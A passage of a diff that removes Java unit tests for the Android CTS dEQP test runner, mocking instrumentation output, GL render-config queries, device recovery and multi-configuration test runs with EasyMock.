-                + " --deqp-gl-config-name=rgba8888d24s8 "
-                + "--deqp-screen-rotation=unspecified "
-                + "--deqp-surface-type=window "
-                + "--deqp-log-images=disable "
-                + "--deqp-watchdog=enable", instrumentationAnswerBroken);
-
-        mockRecovery.recoverComLinkKilled();
-        EasyMock.expectLastCall().once();
-
-        // Re-try
-        runInstrumentationLineAndAnswer(mockDevice, mockIDevice,
-                "{dEQP-GLES3{instances{test1}}}",
-                "--deqp-caselist-file=" + CASE_LIST_FILE_NAME
-                + " --deqp-gl-config-name=rgba8888d24s8 "
-                + "--deqp-screen-rotation=unspecified "
-                + "--deqp-surface-type=window "
-                + "--deqp-log-images=disable "
-                + "--deqp-watchdog=enable", instrumentationAnswerOk1);
-
-        runInstrumentationLineAndAnswer(mockDevice, mockIDevice,
-                "{dEQP-GLES3{instances{test2}}}",
-                "--deqp-caselist-file=" + CASE_LIST_FILE_NAME
-                + " --deqp-gl-config-name=rgba8888d24s8 "
-                + "--deqp-screen-rotation=unspecified "
-                + "--deqp-surface-type=window "
-                + "--deqp-log-images=disable "
-                + "--deqp-watchdog=enable", instrumentationAnswerOk2);
-
-        EasyMock.expect(mockDevice.uninstallPackage(EasyMock.eq(DEQP_ONDEVICE_PKG)))
-                .andReturn("").once();
-
-        mockListener.testRunStarted(ID, 2);
-        EasyMock.expectLastCall().once();
-
-        // test1
-        mockListener.testStarted(EasyMock.eq(testIds[0]));
-        EasyMock.expectLastCall().once();
-
-        mockListener.testEnded(EasyMock.eq(testIds[0]), EasyMock.<Map<String, String>>notNull());
-        EasyMock.expectLastCall().once();
-
-        // test2
-        mockListener.testStarted(EasyMock.eq(testIds[1]));
-        EasyMock.expectLastCall().once();
-
-        mockListener.testEnded(EasyMock.eq(testIds[1]), EasyMock.<Map<String, String>>notNull());
-        EasyMock.expectLastCall().once();
-
-        mockListener.testRunEnded(EasyMock.anyLong(), EasyMock.<Map<String, String>>notNull());
-        EasyMock.expectLastCall().once();
-
-        orderedControl.replay();
-        EasyMock.replay(mockListener);
-        EasyMock.replay(mockRecovery);
-        deqpTest.run(mockListener);
-
-        EasyMock.verify(mockListener);
-        orderedControl.verify();
-        EasyMock.verify(mockRecovery);
-    }
-
-    /**
-     * Test dEQP with multiple instances
-     */
-    public void testRun_multipleInstances() throws Exception {
-        final String instrumentationAnswerConfigAPass1 =
-                "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=2014.x\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseId\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=0xcafebabe\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=targetName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=android\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginTestCase\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-BeginTestCase-TestCasePath=dEQP-GLES3.instances.passall\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Code=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Details=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=TestCaseResult\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndTestCase\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginTestCase\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-BeginTestCase-TestCasePath=dEQP-GLES3.instances.failone\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Code=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Details=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=TestCaseResult\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndTestCase\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginTestCase\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-BeginTestCase-TestCasePath=dEQP-GLES3.instances.crashtwo\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"; // early eof
-        final String instrumentationAnswerConfigAPass2 =
-                "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=2014.x\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseId\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=0xcafebabe\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=targetName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=android\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginTestCase\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-BeginTestCase-TestCasePath=dEQP-GLES3.instances.crashtwo\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"; // early eof
-        final String instrumentationAnswerConfigBPass1 =
-                "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=2014.x\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseId\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=0xcafebabe\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=targetName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=android\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginTestCase\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-BeginTestCase-TestCasePath=dEQP-GLES3.instances.passall\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Code=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Details=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=TestCaseResult\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndTestCase\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginTestCase\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-BeginTestCase-TestCasePath=dEQP-GLES3.instances.skipone\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Code=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Details=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=TestCaseResult\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndTestCase\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_CODE: 0\r\n";
-        final String instrumentationAnswerConfigBPass2 =
-                "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=2014.x\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseId\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=0xcafebabe\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=targetName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=android\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginTestCase\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-BeginTestCase-TestCasePath=dEQP-GLES3.instances.crashtwo\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TerminateTestCase-Reason=Magic\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=TerminateTestCase\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_CODE: 0\r\n";
-        final String instrumentationAnswerConfigCPass1 =
-                "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=2014.x\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseId\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=0xcafebabe\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=targetName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=android\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginTestCase\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-BeginTestCase-TestCasePath=dEQP-GLES3.instances.failone\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Code=Fail\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Details=Fail\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=TestCaseResult\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndTestCase\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_CODE: 0\r\n";
-        final String instrumentationAnswerConfigCPass2 =
-                "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=2014.x\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseId\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=0xcafebabe\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=targetName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=android\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginTestCase\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-BeginTestCase-TestCasePath=dEQP-GLES3.instances.crashtwo\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Code=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Details=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=TestCaseResult\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndTestCase\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_CODE: 0\r\n";
-
-        final TestIdentifier[] testIds = {
-                new TestIdentifier("dEQP-GLES3.instances", "passall"),
-                new TestIdentifier("dEQP-GLES3.instances", "failone"),
-                new TestIdentifier("dEQP-GLES3.instances", "crashtwo"),
-                new TestIdentifier("dEQP-GLES3.instances", "skipone"),
-        };
-
-        final String[] testPaths = {
-                "dEQP-GLES3.instances.passall",
-                "dEQP-GLES3.instances.failone",
-                "dEQP-GLES3.instances.crashtwo",
-                "dEQP-GLES3.instances.skipone",
-        };
-
-        Map<String,String> supportedConfigA = new HashMap<>();
-        supportedConfigA.put("glconfig", "rgba8888d24s8");
-        supportedConfigA.put("rotation", "unspecified");
-        supportedConfigA.put("surfacetype", "window");
-
-        Map<String,String> supportedConfigB = new HashMap<>();
-        supportedConfigB.put("glconfig", "rgba8888d24s8");
-        supportedConfigB.put("rotation", "90");
-        supportedConfigB.put("surfacetype", "window");
-
-        Map<String,String> supportedConfigC = new HashMap<>();
-        supportedConfigC.put("glconfig", "rgba8888d24s8");
-        supportedConfigC.put("rotation", "180");
-        supportedConfigC.put("surfacetype", "window");
-
-        Map<String,String> unsupportedConfig = new HashMap<>();
-        unsupportedConfig.put("glconfig", "rgb565d16s0");
-        unsupportedConfig.put("rotation", "unspecified");
-        unsupportedConfig.put("surfacetype", "window");
-
-        Map<TestIdentifier, List<Map<String, String>>> instances = new HashMap<>();
-
-        // pass all
-        instances.put(testIds[0], new ArrayList<Map<String,String>>());
-        instances.get(testIds[0]).add(supportedConfigA);
-        instances.get(testIds[0]).add(supportedConfigB);
-
-        // fail one
-        instances.put(testIds[1], new ArrayList<Map<String,String>>());
-        instances.get(testIds[1]).add(supportedConfigA);
-        instances.get(testIds[1]).add(supportedConfigC);
-
-        // crash two
-        instances.put(testIds[2], new ArrayList<Map<String,String>>());
-        instances.get(testIds[2]).add(supportedConfigA);
-        instances.get(testIds[2]).add(supportedConfigC);
-        instances.get(testIds[2]).add(supportedConfigB);
-
-        // skip one
-        instances.put(testIds[3], new ArrayList<Map<String,String>>());
-        instances.get(testIds[3]).add(supportedConfigB);
-        instances.get(testIds[3]).add(unsupportedConfig);
-
-        Collection<TestIdentifier> tests = new ArrayList<TestIdentifier>();
-        for (TestIdentifier id : testIds) {
-            tests.add(id);
-        }
-
-        ITestInvocationListener mockListener
-                = EasyMock.createStrictMock(ITestInvocationListener.class);
-        IMocksControl orderedControl = EasyMock.createStrictControl();
-        ITestDevice mockDevice = orderedControl.createMock(ITestDevice.class);
-        IDevice mockIDevice = orderedControl.createMock(IDevice.class);
-
-        DeqpTestRunner deqpTest = new DeqpTestRunner(NAME, NAME, tests, instances);
-        deqpTest.setAbi(UnitTests.ABI);
-        deqpTest.setDevice(mockDevice);
-        deqpTest.setBuildHelper(new StubCtsBuildHelper());
-
-        int version = 3 << 16;
-        EasyMock.expect(mockDevice.getProperty("ro.opengles.version"))
-                .andReturn(Integer.toString(version)).atLeastOnce();
-
-        EasyMock.expect(mockDevice.uninstallPackage(EasyMock.eq(DEQP_ONDEVICE_PKG))).
-            andReturn("").once();
-
-        EasyMock.expect(mockDevice.installPackage(EasyMock.<File>anyObject(),
-                EasyMock.eq(true),
-                EasyMock.eq(AbiUtils.createAbiFlag(UnitTests.ABI.getName())))).andReturn(null)
-                .once();
-
-        // query config A
-        expectRenderConfigQueryAndReturn(mockDevice,
-                "--deqp-gl-config-name=rgba8888d24s8 "
-                + "--deqp-screen-rotation=unspecified "
-                + "--deqp-surface-type=window "
-                + "--deqp-gl-major-version=3 "
-                + "--deqp-gl-minor-version=0", "Yes");
-
-        // run config A - first pass
-        runInstrumentationLineAndAnswer(mockDevice, mockIDevice,
-                "{dEQP-GLES3{instances{passall,failone,crashtwo}}}",
-                "--deqp-caselist-file=" + CASE_LIST_FILE_NAME
-                + " --deqp-gl-config-name=rgba8888d24s8 "
-                + "--deqp-screen-rotation=unspecified "
-                + "--deqp-surface-type=window "
-                + "--deqp-log-images=disable "
-                + "--deqp-watchdog=enable", instrumentationAnswerConfigAPass1);
-
-        // run config A - second pass
-        runInstrumentationLineAndAnswer(mockDevice, mockIDevice,
-                "{dEQP-GLES3{instances{crashtwo}}}",
-                "--deqp-caselist-file=" + CASE_LIST_FILE_NAME
-                + " --deqp-gl-config-name=rgba8888d24s8 "
-                + "--deqp-screen-rotation=unspecified "
-                + "--deqp-surface-type=window "
-                + "--deqp-log-images=disable "
-                + "--deqp-watchdog=enable", instrumentationAnswerConfigAPass2);
-
-        // query for config B
-
-        EasyMock.expect(mockDevice.executeShellCommand("pm list features")).andReturn(ALL_FEATURES)
-                .once();
-
-        expectRenderConfigQueryAndReturn(mockDevice,
-                "--deqp-gl-config-name=rgba8888d24s8 "
-                + "--deqp-screen-rotation=90 "
-                + "--deqp-surface-type=window "
-                + "--deqp-gl-major-version=3 "
-                + "--deqp-gl-minor-version=0", "Yes");
-
-        // run for config B - first pass
-        runInstrumentationLineAndAnswer(mockDevice, mockIDevice,
-                "{dEQP-GLES3{instances{passall,skipone}}}",
-                "--deqp-caselist-file=" + CASE_LIST_FILE_NAME
-                + " --deqp-gl-config-name=rgba8888d24s8 "
-                + "--deqp-screen-rotation=90 "
-                + "--deqp-surface-type=window "
-                + "--deqp-log-images=disable "
-                + "--deqp-watchdog=enable", instrumentationAnswerConfigBPass1);
-
-        // query for config C
-        expectRenderConfigQueryAndReturn(mockDevice,
-                "--deqp-gl-config-name=rgba8888d24s8 "
-                + "--deqp-screen-rotation=180 "
-                + "--deqp-surface-type=window "
-                + "--deqp-gl-major-version=3 "
-                + "--deqp-gl-minor-version=0", "Yes");
-
-        // run for config C - first pass
-        runInstrumentationLineAndAnswer(mockDevice, mockIDevice,
-                "{dEQP-GLES3{instances{failone}}}",
-                "--deqp-caselist-file=" + CASE_LIST_FILE_NAME
-                + " --deqp-gl-config-name=rgba8888d24s8 "
-                + "--deqp-screen-rotation=180 "
-                + "--deqp-surface-type=window "
-                + "--deqp-log-images=disable "
-                + "--deqp-watchdog=enable", instrumentationAnswerConfigCPass1);
-
-        // run for config C - second pass
-        runInstrumentationLineAndAnswer(mockDevice, mockIDevice,
-                "{dEQP-GLES3{instances{crashtwo}}}",
-                "--deqp-caselist-file=" + CASE_LIST_FILE_NAME
-                + " --deqp-gl-config-name=rgba8888d24s8 "
-                + "--deqp-screen-rotation=180 "
-                + "--deqp-surface-type=window "
-                + "--deqp-log-images=disable "
-                + "--deqp-watchdog=enable", instrumentationAnswerConfigCPass2);
-
-        // run for config B - second pass (crashtwo has been deferred due to its instability)
-        runInstrumentationLineAndAnswer(mockDevice, mockIDevice,
-                "{dEQP-GLES3{instances{crashtwo}}}",
-                "--deqp-caselist-file=" + CASE_LIST_FILE_NAME
-                + " --deqp-gl-config-name=rgba8888d24s8 "
-                + "--deqp-screen-rotation=90 "
-                + "--deqp-surface-type=window "
-                + "--deqp-log-images=disable "
-                + "--deqp-watchdog=enable", instrumentationAnswerConfigBPass2);
-
-        // query for unsupported config
-        expectRenderConfigQueryAndReturn(mockDevice,
-                "--deqp-gl-config-name=rgb565d16s0 "
-                + "--deqp-screen-rotation=unspecified "
-                + "--deqp-surface-type=window "
-                + "--deqp-gl-major-version=3 "
-                + "--deqp-gl-minor-version=0", "No");
-
-        EasyMock.expect(mockDevice.uninstallPackage(EasyMock.eq(DEQP_ONDEVICE_PKG)))
-                .andReturn("").once();
-
-        mockListener.testRunStarted(ID, 4);
-        EasyMock.expectLastCall().once();
-
-        // pass all
-        mockListener.testStarted(EasyMock.eq(testIds[0]));
-        EasyMock.expectLastCall().once();
-
-        mockListener.testEnded(EasyMock.eq(testIds[0]), EasyMock.<Map<String, String>>notNull());
-        EasyMock.expectLastCall().once();
-
-        // fail one
-        mockListener.testStarted(EasyMock.eq(testIds[1]));
-        EasyMock.expectLastCall().once();
-
-        mockListener.testFailed(testIds[1],
-                "=== with config {glformat=rgba8888d24s8,rotation=180,surfacetype=window} ===\n"
-                + "Fail: Fail");
-        EasyMock.expectLastCall().once();
-
-        mockListener.testEnded(EasyMock.eq(testIds[1]), EasyMock.<Map<String, String>>notNull());
-        EasyMock.expectLastCall().once();
-
-        // crash two
-        mockListener.testStarted(EasyMock.eq(testIds[2]));
-        EasyMock.expectLastCall().once();
-
-        mockListener.testFailed(testIds[2],
-                "=== with config {glformat=rgba8888d24s8,rotation=unspecified,surfacetype=window} ===\n"
-                + "Crash: Incomplete test log\n"
-                + "=== with config {glformat=rgba8888d24s8,rotation=90,surfacetype=window} ===\n"
-                + "Terminated: Magic");
-        EasyMock.expectLastCall().once();
-
-        mockListener.testEnded(EasyMock.eq(testIds[2]), EasyMock.<Map<String, String>>notNull());
-        EasyMock.expectLastCall().once();
-
-        // skip one
-        mockListener.testStarted(EasyMock.eq(testIds[3]));
-        EasyMock.expectLastCall().once();
-
-        mockListener.testEnded(EasyMock.eq(testIds[3]), EasyMock.<Map<String, String>>notNull());
-        EasyMock.expectLastCall().once();
-
-        mockListener.testRunEnded(EasyMock.anyLong(), EasyMock.<Map<String, String>>notNull());
-        EasyMock.expectLastCall().once();
-
-        orderedControl.replay();
-        EasyMock.replay(mockListener);
-        deqpTest.setRecovery(new StubRecovery());
-        deqpTest.run(mockListener);
-        EasyMock.verify(mockListener);
-        orderedControl.verify();
-    }
-
-    private void testMultipleInstancesLossOfDeviceMidInstance(final boolean recoverySuccessful)
-            throws Exception {
-        final String instrumentationAnswerFine =
-                "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=2014.x\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseId\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=0xcafebabe\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=targetName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=android\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginTestCase\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-BeginTestCase-TestCasePath=dEQP-GLES3.loss.instance\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Code=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Details=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=TestCaseResult\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndTestCase\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_CODE: 0\r\n";
-        final String instrumentationAnswerCrash =
-                "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=2014.x\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseId\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=0xcafebabe\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=targetName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=android\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginTestCase\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-BeginTestCase-TestCasePath=dEQP-GLES3.loss.instance\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"; // early <EOF>
-
-        final TestIdentifier testId = new TestIdentifier("dEQP-GLES3.loss", "instance");
-
-        Map<String,String> supportedConfigA = new HashMap<>();
-        supportedConfigA.put("glconfig", "rgba8888d24s8");
-        supportedConfigA.put("rotation", "unspecified");
-        supportedConfigA.put("surfacetype", "window");
-
-        Map<String,String> supportedConfigB = new HashMap<>();
-        supportedConfigB.put("glconfig", "rgba8888d24s8");
-        supportedConfigB.put("rotation", "90");
-        supportedConfigB.put("surfacetype", "window");
-
-        Map<String,String> supportedConfigC = new HashMap<>();
-        supportedConfigC.put("glconfig", "rgba8888d24s8");
-        supportedConfigC.put("rotation", "180");
-        supportedConfigC.put("surfacetype", "window");
-
-        Collection<TestIdentifier> tests = new ArrayList<TestIdentifier>();
-        tests.add(testId);
-
-        Map<TestIdentifier, List<Map<String, String>>> instance = new HashMap<>();
-        instance.put(testId, new ArrayList<Map<String,String>>());
-        instance.get(testId).add(supportedConfigA);
-        instance.get(testId).add(supportedConfigB);
-        instance.get(testId).add(supportedConfigC);
-
-        ITestDevice mockDevice = EasyMock.createMock(ITestDevice.class);
-        ITestInvocationListener mockListener
-                = EasyMock.createStrictMock(ITestInvocationListener.class);
-        IDevice mockIDevice = EasyMock.createMock(IDevice.class);
